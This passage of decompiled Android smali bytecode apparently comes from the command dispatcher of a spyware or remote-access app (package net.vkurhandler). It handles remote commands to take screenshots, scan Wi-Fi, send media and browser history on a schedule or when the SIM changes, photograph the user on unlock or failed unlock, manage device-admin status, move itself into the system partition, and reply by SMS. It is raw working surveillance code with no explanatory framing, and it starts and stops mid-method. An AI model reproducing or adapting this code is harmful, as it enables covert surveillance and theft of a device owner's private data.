                    3914const/4 v3, 0x0
                    3916invoke-interface {v1, v2, v3}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                    3917move-result-object v1
                    3919invoke-static {v1}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                    3920move-result v2
                    3921if-nez v2, :cond_140d
                    3922new-instance v2, Lorg/json/JSONArray;
                    3924invoke-direct {v2, v1}, Lorg/json/JSONArray;-><init>(Ljava/lang/String;)V
                    3925new-instance v1, Lorg/json/JSONArray;
                    3927invoke-direct {v1}, Lorg/json/JSONArray;-><init>()V
                    3928goto_13f4:
                    3929invoke-virtual {v2}, Lorg/json/JSONArray;->length()I
                    3930move-result v3
                    3931if-lt v0, v3, :cond_1427
                    3933iget-object v0, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    3935invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    3936move-result-object v0
                    3938sget-object v2, Lnet/vkurhandler/ee;->b:Ljava/lang/String;
                    3940invoke-virtual {v1}, Lorg/json/JSONArray;->toString()Ljava/lang/String;
                    3941move-result-object v1
                    3943invoke-interface {v0, v2, v1}, Landroid/content/SharedPreferences$Editor;->putString(Ljava/lang/String;Ljava/lang/String;)Landroid/content/SharedPreferences$Editor;
                    3944move-result-object v0
                    3946invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    3947cond_140d:
                    3948iget-object v0, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    3950const-string v1, "take_screen"
                    3951const/4 v2, 0x0
                    3953invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    3954move-result v0
                    3955if-eqz v0, :cond_1421
                    3957iget-object v0, p0, Lnet/vkurhandler/ah;->j:Lnet/vkurhandler/MyApp;
                    3959invoke-virtual {v0}, Lnet/vkurhandler/MyApp;->e()Lnet/vkurhandler/ee;
                    3960move-result-object v0
                    3962invoke-virtual {v0}, Lnet/vkurhandler/ee;->a()V
                    3963cond_1421:
                    3964const-string v0, "ok"
                    3965iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    3966goto/16 :goto_4e
                    3967cond_1427:
                    3968invoke-virtual {v2, v0}, Lorg/json/JSONArray;->getJSONObject(I)Lorg/json/JSONObject;
                    3969move-result-object v3
                    3971const-string v4, "pkg_name"
                    3973invoke-virtual {v3, v4}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                    3974move-result-object v4
                    3976const-string v5, "app_name"
                    3978invoke-virtual {v3, v5}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                    3979move-result-object v5
                    3981const-string v6, "interval"
                    3983invoke-virtual {v3, v6}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I
                    3984move-result v3
                    3986iget-object v6, p0, Lnet/vkurhandler/ah;->b:Ljava/lang/String;
                    3988invoke-virtual {v4, v6}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    3989move-result v6
                    3990if-nez v6, :cond_145c
                    3991new-instance v6, Lorg/json/JSONObject;
                    3993invoke-direct {v6}, Lorg/json/JSONObject;-><init>()V
                    3995const-string v7, "pkg_name"
                    3997invoke-virtual {v6, v7, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                    3999const-string v4, "app_name"
                    4001invoke-virtual {v6, v4, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                    4003const-string v4, "interval"
                    4005invoke-virtual {v6, v4, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                    4007invoke-virtual {v1, v6}, Lorg/json/JSONArray;->put(Ljava/lang/Object;)Lorg/json/JSONArray;
                    4008cond_145c: add-int/lit8 v0, v0, 0x1
                    4009goto/16 :goto_13f4
                    4010cond_145f:
                    4011iget-object v2, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    4013const-string v3, "screen_maker_app_filter_type"
                    4015invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    4016move-result v2
                    4017if-eqz v2, :cond_1498
                    4019iget-object v0, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    4021invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    4022move-result-object v0
                    4024sget-object v1, Lnet/vkurhandler/ee;->c:Ljava/lang/String;
                    4026iget-object v2, p0, Lnet/vkurhandler/ah;->b:Ljava/lang/String;
                    4028invoke-static {v2}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
                    4029move-result v2
                    4031invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences$Editor;->putInt(Ljava/lang/String;I)Landroid/content/SharedPreferences$Editor;
                    4032move-result-object v0
                    4034invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    4036iget-object v0, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    4038const-string v1, "take_screen"
                    4039const/4 v2, 0x0
                    4041invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    4042move-result v0
                    4043if-eqz v0, :cond_1492
                    4045iget-object v0, p0, Lnet/vkurhandler/ah;->j:Lnet/vkurhandler/MyApp;
                    4047invoke-virtual {v0}, Lnet/vkurhandler/MyApp;->e()Lnet/vkurhandler/ee;
                    4048move-result-object v0
                    4050invoke-virtual {v0}, Lnet/vkurhandler/ee;->a()V
                    4051cond_1492:
                    4052const-string v0, "ok"
                    4053iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    4054goto/16 :goto_4e
                    4055cond_1498:
                    4056iget-object v2, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    4058const-string v3, "get_wifi_list"
                    4060invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    4061move-result v2
                    4062if-eqz v2, :cond_14ce
                    4064iget-object v0, p0, Lnet/vkurhandler/ah;->a:Landroid/content/Context;
                    4066invoke-static {v0}, Lnet/vkurhandler/gn;->l(Landroid/content/Context;)Landroid/net/wifi/WifiManager;
                    4067move-result-object v0
                    4069invoke-virtual {v0}, Landroid/net/wifi/WifiManager;->isWifiEnabled()Z
                    4070move-result v1
                    4071if-nez v1, :cond_14b4
                    4073const-string v0, "wifi_disabled"
                    4074iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    4075goto/16 :goto_4e
                    4076cond_14b4:
                    4077invoke-virtual {v0}, Landroid/net/wifi/WifiManager;->startScan()Z
                    4078move-result v0
                    4079if-eqz v0, :cond_14c8
                    4081iget-object v0, p0, Lnet/vkurhandler/ah;->a:Landroid/content/Context;
                    4083iget-object v1, p0, Lnet/vkurhandler/ah;->k:Landroid/content/BroadcastReceiver;
                    4084new-instance v2, Landroid/content/IntentFilter;
                    4086const-string v3, "android.net.wifi.SCAN_RESULTS"
                    4088invoke-direct {v2, v3}, Landroid/content/IntentFilter;-><init>(Ljava/lang/String;)V
                    4090invoke-virtual {v0, v1, v2}, Landroid/content/Context;->registerReceiver(Landroid/content/BroadcastReceiver;Landroid/content/IntentFilter;)Landroid/content/Intent;
                    4091cond_14c8:
                    4092const-string v0, "ok"
                    4093iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    4094goto/16 :goto_4e
                    4095cond_14ce:
                    4096iget-object v2, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    4098const-string v3, "send_schedule"
                    4100invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    4101move-result v2
                    4102if-eqz v2, :cond_155e
                    4104iget-object v1, p0, Lnet/vkurhandler/ah;->b:Ljava/lang/String;
                    4106const-string v2, ","
                    4108invoke-virtual {v1, v2}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String;
                    4109move-result-object v1
                    4110array-length v2, v1
                    4111const/4 v3, 0x3
                    4112if-ge v2, v3, :cond_14ea
                    4114const-string v0, "incorrect_params"
                    4115iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    4116goto/16 :goto_4e
                    4117cond_14ea: const/4 v2, 0x0
                    4118aget-object v2, v1, v2
                    4120iget-object v3, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    4122invoke-interface {v3}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    4123move-result-object v3
                    4125const-string v4, "dispatch_schedule_time_send"
                    4127invoke-interface {v3, v4, v2}, Landroid/content/SharedPreferences$Editor;->putString(Ljava/lang/String;Ljava/lang/String;)Landroid/content/SharedPreferences$Editor;
                    4128move-result-object v2
                    4130invoke-interface {v2}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    4132const-string v2, "1"
                    4133const/4 v3, 0x1
                    4134aget-object v3, v1, v3
                    4136invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    4137move-result v2
                    4139const-string v3, "1"
                    4140const/4 v4, 0x2
                    4141aget-object v4, v1, v4
                    4143invoke-virtual {v3, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    4144move-result v3
                    4145array-length v4, v1
                    4146if-ne v4, v7, :cond_151a
                    4148const-string v0, "1"
                    4149const/4 v4, 0x3
                    4150aget-object v1, v1, v4
                    4152invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    4153move-result v0
                    4154cond_151a:
                    4155iget-object v1, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    4157invoke-interface {v1}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    4158move-result-object v1
                    4160const-string v4, "dispatch_schedule_send_media"
                    4162invoke-interface {v1, v4, v2}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;
                    4163move-result-object v1
                    4165invoke-interface {v1}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    4167iget-object v1, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    4169invoke-interface {v1}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    4170move-result-object v1
                    4172const-string v4, "dispatch_schedule_send_content"
                    4174invoke-interface {v1, v4, v3}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;
                    4175move-result-object v1
                    4177invoke-interface {v1}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    4179iget-object v1, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    4181invoke-interface {v1}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    4182move-result-object v1
                    4184const-string v4, "dispatch_schedule_send_command"
                    4186invoke-interface {v1, v4, v0}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;
                    4187move-result-object v1
                    4189invoke-interface {v1}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    4190if-nez v2, :cond_154d
                    4191if-nez v3, :cond_154d
                    4192if-eqz v0, :cond_1558
                    4193cond_154d:
                    4194iget-object v0, p0, Lnet/vkurhandler/ah;->a:Landroid/content/Context;
                    4196invoke-static {v0}, Lnet/vkurhandler/DispatchSchedule;->b(Landroid/content/Context;)V
                    4197goto_1552:
                    4198const-string v0, "ok"
                    4199iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    4200goto/16 :goto_4e
                    4201cond_1558:
                    4202iget-object v0, p0, Lnet/vkurhandler/ah;->a:Landroid/content/Context;
                    4204invoke-static {v0}, Lnet/vkurhandler/DispatchSchedule;->c(Landroid/content/Context;)V
                    4205goto/16 :goto_1552
                    4206cond_155e:
                    4207iget-object v0, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    4209const-string v2, "send_on_change_sim"
                    4211invoke-virtual {v0, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    4212move-result v0
                    4213if-eqz v0, :cond_1592
                    4215const-string v0, "1"
                    4217iget-object v1, p0, Lnet/vkurhandler/ah;->b:Ljava/lang/String;
                    4219invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    4220move-result v0
                    4222iget-object v1, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    4224invoke-interface {v1}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    4225move-result-object v1
                    4227const-string v2, "send_on_change_sim"
                    4229invoke-interface {v1, v2, v0}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;
                    4230move-result-object v1
                    4232invoke-interface {v1}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    4233if-eqz v0, :cond_158c
                    4235iget-object v0, p0, Lnet/vkurhandler/ah;->a:Landroid/content/Context;
                    4237invoke-static {v0}, Lnet/vkurhandler/fx;->a(Landroid/content/Context;)V
                    4238goto_1586:
                    4239const-string v0, "ok"
                    4240iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    4241goto/16 :goto_4e
                    4242cond_158c:
                    4243iget-object v0, p0, Lnet/vkurhandler/ah;->a:Landroid/content/Context;
                    4245invoke-static {v0}, Lnet/vkurhandler/fx;->b(Landroid/content/Context;)V
                    4246goto/16 :goto_1586
                    4247cond_1592:
                    4248iget-object v0, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    4250const-string v2, "get_media_list"
                    4252invoke-virtual {v0, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    4253move-result v0
                    4254if-eqz v0, :cond_15aa
                    4255const/4 v0, 0x2
                    4256const/4 v1, 0x0
                    4258const-string v2, "desc"
                    4259const/16 v3, 0x64
                    4261invoke-direct {p0, v0, v1, v2, v3}, Lnet/vkurhandler/ah;->a(IILjava/lang/String;I)Ljava/lang/String;
                    4262move-result-object v0
                    4263iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    4264goto/16 :goto_4e
                    4265cond_15aa:
                    4266iget-object v0, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    4268const-string v2, "data_item_list"
                    4270invoke-virtual {v0, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    4271move-result v0
                    4272if-eqz v0, :cond_15db
                    4273new-instance v0, Lorg/json/JSONObject;
                    4275iget-object v1, p0, Lnet/vkurhandler/ah;->b:Ljava/lang/String;
                    4277invoke-direct {v0, v1}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V
                    4279const-string v1, "type"
                    4281invoke-virtual {v0, v1}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I
                    4282move-result v1
                    4284const-string v2, "sub_type"
                    4286invoke-virtual {v0, v2}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I
                    4287move-result v2
                    4289const-string v3, "sort"
                    4291invoke-virtual {v0, v3}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                    4292move-result-object v3
                    4294const-string v4, "limit"
                    4296invoke-virtual {v0, v4}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I
                    4297move-result v0
                    4299invoke-direct {p0, v1, v2, v3, v0}, Lnet/vkurhandler/ah;->a(IILjava/lang/String;I)Ljava/lang/String;
                    4300move-result-object v0
                    4301iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    4302goto/16 :goto_4e
                    4303cond_15db:
                    4304iget-object v0, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    4306const-string v2, "data_item_download"
                    4308invoke-virtual {v0, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    4309move-result v0
                    4310if-eqz v0, :cond_1606
                    4311new-instance v0, Landroid/content/Intent;
                    4313iget-object v1, p0, Lnet/vkurhandler/ah;->a:Landroid/content/Context;
                    4314const-class v2, Lnet/vkurhandler/DispatchService;
                    4316invoke-direct {v0, v1, v2}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
                    4318const-string v1, "dispatch_send_by_id"
                    4319const/4 v2, 0x1
                    4321invoke-virtual {v0, v1, v2}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Z)Landroid/content/Intent;
                    4323const-string v1, "dispatch_id"
                    4325iget-object v2, p0, Lnet/vkurhandler/ah;->b:Ljava/lang/String;
                    4327invoke-static {v2}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
                    4328move-result v2
                    4330invoke-virtual {v0, v1, v2}, Landroid/content/Intent;->putExtra(Ljava/lang/String;I)Landroid/content/Intent;
                    4332iget-object v1, p0, Lnet/vkurhandler/ah;->a:Landroid/content/Context;
                    4334invoke-virtual {v1, v0}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
                    4335goto/16 :goto_4e
                    4336cond_1606:
                    4337iget-object v0, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    4339const-string v2, "data_item_delete"
                    4341invoke-virtual {v0, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    4342move-result v0
                    4343if-eqz v0, :cond_1631
                    4344new-instance v0, Landroid/content/Intent;
                    4346iget-object v1, p0, Lnet/vkurhandler/ah;->a:Landroid/content/Context;
                    4347const-class v2, Lnet/vkurhandler/DispatchService;
                    4349invoke-direct {v0, v1, v2}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
                    4351const-string v1, "dispatch_send_by_id"
                    4352const/4 v2, 0x1
                    4354invoke-virtual {v0, v1, v2}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Z)Landroid/content/Intent;
                    4356const-string v1, "dispatch_id"
                    4358iget-object v2, p0, Lnet/vkurhandler/ah;->b:Ljava/lang/String;
                    4360invoke-static {v2}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
                    4361move-result v2
                    4363invoke-virtual {v0, v1, v2}, Landroid/content/Intent;->putExtra(Ljava/lang/String;I)Landroid/content/Intent;
                    4365iget-object v1, p0, Lnet/vkurhandler/ah;->a:Landroid/content/Context;
                    4367invoke-virtual {v1, v0}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
                    4368goto/16 :goto_4e
                    4369cond_1631:
                    4370iget-object v0, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    4372const-string v2, "read_browser_history"
                    4374invoke-virtual {v0, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    4375move-result v0
                    4376if-eqz v0, :cond_1688
                    4377new-instance v0, Ljava/lang/String;
                    4379iget-object v1, p0, Lnet/vkurhandler/ah;->b:Ljava/lang/String;
                    4380const/4 v2, 0x2
                    4382invoke-static {v1, v2}, Landroid/util/Base64;->decode(Ljava/lang/String;I)[B
                    4383move-result-object v1
                    4385invoke-direct {v0, v1}, Ljava/lang/String;-><init>([B)V
                    4386new-instance v1, Lorg/json/JSONObject;
                    4388invoke-direct {v1, v0}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V
                    4390const-string v0, "browser"
                    4392invoke-virtual {v1, v0}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                    4393move-result-object v0
                    4395const-string v2, "date_from"
                    4397invoke-virtual {v1, v2}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                    4398move-result-object v3
                    4400const-string v2, "date_to"
                    4402invoke-virtual {v1, v2}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                    4403move-result-object v4
                    4405const-string v2, "order"
                    4407invoke-virtual {v1, v2}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                    4408move-result-object v5
                    4410const-string v2, "limit"
                    4412invoke-virtual {v1, v2}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                    4413move-result-object v6
                    4415const-string v1, "content://com.android.chrome.browser/bookmarks"
                    4417invoke-static {v1}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
                    4418move-result-object v2
                    4420const-string v1, "default"
                    4422invoke-virtual {v1, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    4423move-result v0
                    4424if-eqz v0, :cond_167a
                    4426sget-object v2, Landroid/provider/Browser;->BOOKMARKS_URI:Landroid/net/Uri;
                    4427cond_167a: const/4 v0, 0x1
                    4428iput-boolean v0, p0, Lnet/vkurhandler/ah;->i:Z
                    4430iget-object v1, p0, Lnet/vkurhandler/ah;->a:Landroid/content/Context;
                    4431move-object v0, p0
                    4433invoke-direct/range {v0 .. v6}, Lnet/vkurhandler/ah;->a(Landroid/content/Context;Landroid/net/Uri;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                    4434move-result-object v0
                    4435iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    4436goto/16 :goto_4e
                    4437cond_1688:
                    4438iget-object v0, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    4440const-string v2, "disable_admin"
                    4442invoke-virtual {v0, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    4443move-result v0
                    4444if-eqz v0, :cond_16b0
                    4445new-instance v0, Landroid/content/ComponentName;
                    4447iget-object v1, p0, Lnet/vkurhandler/ah;->a:Landroid/content/Context;
                    4448const-class v2, Lnet/vkurhandler/RDeviceAdminReceiver;
                    4450invoke-direct {v0, v1, v2}, Landroid/content/ComponentName;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
                    4452iget-object v1, p0, Lnet/vkurhandler/ah;->a:Landroid/content/Context;
                    4454invoke-static {v1}, Lnet/vkurhandler/gn;->p(Landroid/content/Context;)Landroid/app/admin/DevicePolicyManager;
                    4455move-result-object v1
                    4457invoke-virtual {v1, v0}, Landroid/app/admin/DevicePolicyManager;->isAdminActive(Landroid/content/ComponentName;)Z
                    4458move-result v2
                    4459if-eqz v2, :cond_16aa
                    4461invoke-virtual {v1, v0}, Landroid/app/admin/DevicePolicyManager;->removeActiveAdmin(Landroid/content/ComponentName;)V
                    4462cond_16aa:
                    4463const-string v0, "ok"
                    4464iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    4465goto/16 :goto_4e
                    4466cond_16b0:
                    4467iget-object v0, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    4469const-string v2, "move_to_system"
                    4471invoke-virtual {v0, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    4472move-result v0
                    4473if-eqz v0, :cond_16dc
                    4475iget-object v0, p0, Lnet/vkurhandler/ah;->a:Landroid/content/Context;
                    4477invoke-static {v0}, Lnet/vkurhandler/gn;->b(Landroid/content/Context;)Z
                    4478move-result v0
                    4479if-eqz v0, :cond_16c8
                    4481const-string v0, "app_in_system"
                    4482iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    4483goto/16 :goto_4e
                    4484cond_16c8:
                    4485iget-object v0, p0, Lnet/vkurhandler/ah;->a:Landroid/content/Context;
                    4487invoke-static {v0}, Lnet/vkurhandler/gn;->e(Landroid/content/Context;)Z
                    4488move-result v0
                    4489if-eqz v0, :cond_16d6
                    4491const-string v0, "ok"
                    4492iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    4493goto/16 :goto_4e
                    4494cond_16d6:
                    4495const-string v0, "operation_fail"
                    4496iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    4497goto/16 :goto_4e
                    4498cond_16dc:
                    4499iget-object v0, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    4501const-string v2, "use_gps_if_screen_on"
                    4503invoke-virtual {v0, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    4504move-result v0
                    4505if-eqz v0, :cond_1703
                    4507iget-object v0, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    4509invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    4510move-result-object v0
                    4512const-string v1, "use_gps_if_screen_on"
                    4514const-string v2, "true"
                    4516iget-object v3, p0, Lnet/vkurhandler/ah;->b:Ljava/lang/String;
                    4518invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    4519move-result v2
                    4521invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;
                    4522move-result-object v0
                    4524invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    4526const-string v0, "ok"
                    4527iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    4528goto/16 :goto_4e
                    4529cond_1703:
                    4530iget-object v0, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    4532const-string v2, "make_photo_on_failed_unlock"
                    4534invoke-virtual {v0, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    4535move-result v0
                    4536if-eqz v0, :cond_1750
                    4538iget-object v0, p0, Lnet/vkurhandler/ah;->b:Ljava/lang/String;
                    4540const-string v1, ","
                    4542invoke-virtual {v0, v1}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String;
                    4543move-result-object v0
                    4545const-string v1, "true"
                    4546const/4 v2, 0x0
                    4547aget-object v2, v0, v2
                    4549invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    4550move-result v1
                    4551const/4 v2, 0x1
                    4552aget-object v0, v0, v2
                    4554invoke-static {v0}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
                    4555move-result v0
                    4556if-eqz v1, :cond_1738
                    4557if-lez v0, :cond_1738
                    4559iget-object v2, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    4561invoke-interface {v2}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    4562move-result-object v2
                    4564const-string v3, "number_of_failed_unlocks"
                    4566invoke-interface {v2, v3, v0}, Landroid/content/SharedPreferences$Editor;->putInt(Ljava/lang/String;I)Landroid/content/SharedPreferences$Editor;
                    4567move-result-object v0
                    4569invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    4570cond_1738:
                    4571iget-object v0, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    4573invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    4574move-result-object v0
                    4576const-string v2, "make_photo_on_failed_unlock"
                    4578invoke-interface {v0, v2, v1}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;
                    4579move-result-object v0
                    4581invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    4582const/4 v0, 0x0
                    4583sput v0, Lnet/vkurhandler/RDeviceAdminReceiver;->b:I
                    4585const-string v0, "ok"
                    4586iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    4587goto/16 :goto_4e
                    4588cond_1750:
                    4589iget-object v0, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    4591const-string v2, "make_photo_on_unlock"
                    4593invoke-virtual {v0, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    4594move-result v0
                    4595if-eqz v0, :cond_1777
                    4597iget-object v0, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    4599invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    4600move-result-object v0
                    4602const-string v1, "make_photo_on_unlock"
                    4604const-string v2, "true"
                    4606iget-object v3, p0, Lnet/vkurhandler/ah;->b:Ljava/lang/String;
                    4608invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    4609move-result v2
                    4611invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;
                    4612move-result-object v0
                    4614invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    4616const-string v0, "ok"
                    4617iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    4618goto/16 :goto_4e
                    4619cond_1777:
                    4620iget-object v0, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    4622const-string v2, "sms_reply"
                    4624invoke-virtual {v0, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    4625move-result v0
                    4626if-eqz v0, :cond_179e
                    4628iget-object v0, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    4630invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    4631move-result-object v0
                    4633const-string v1, "sms_reply"
                    4635const-string v2, "true"
                    4637iget-object v3, p0, Lnet/vkurhandler/ah;->b:Ljava/lang/String;
                    4639invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    4640move-result v2
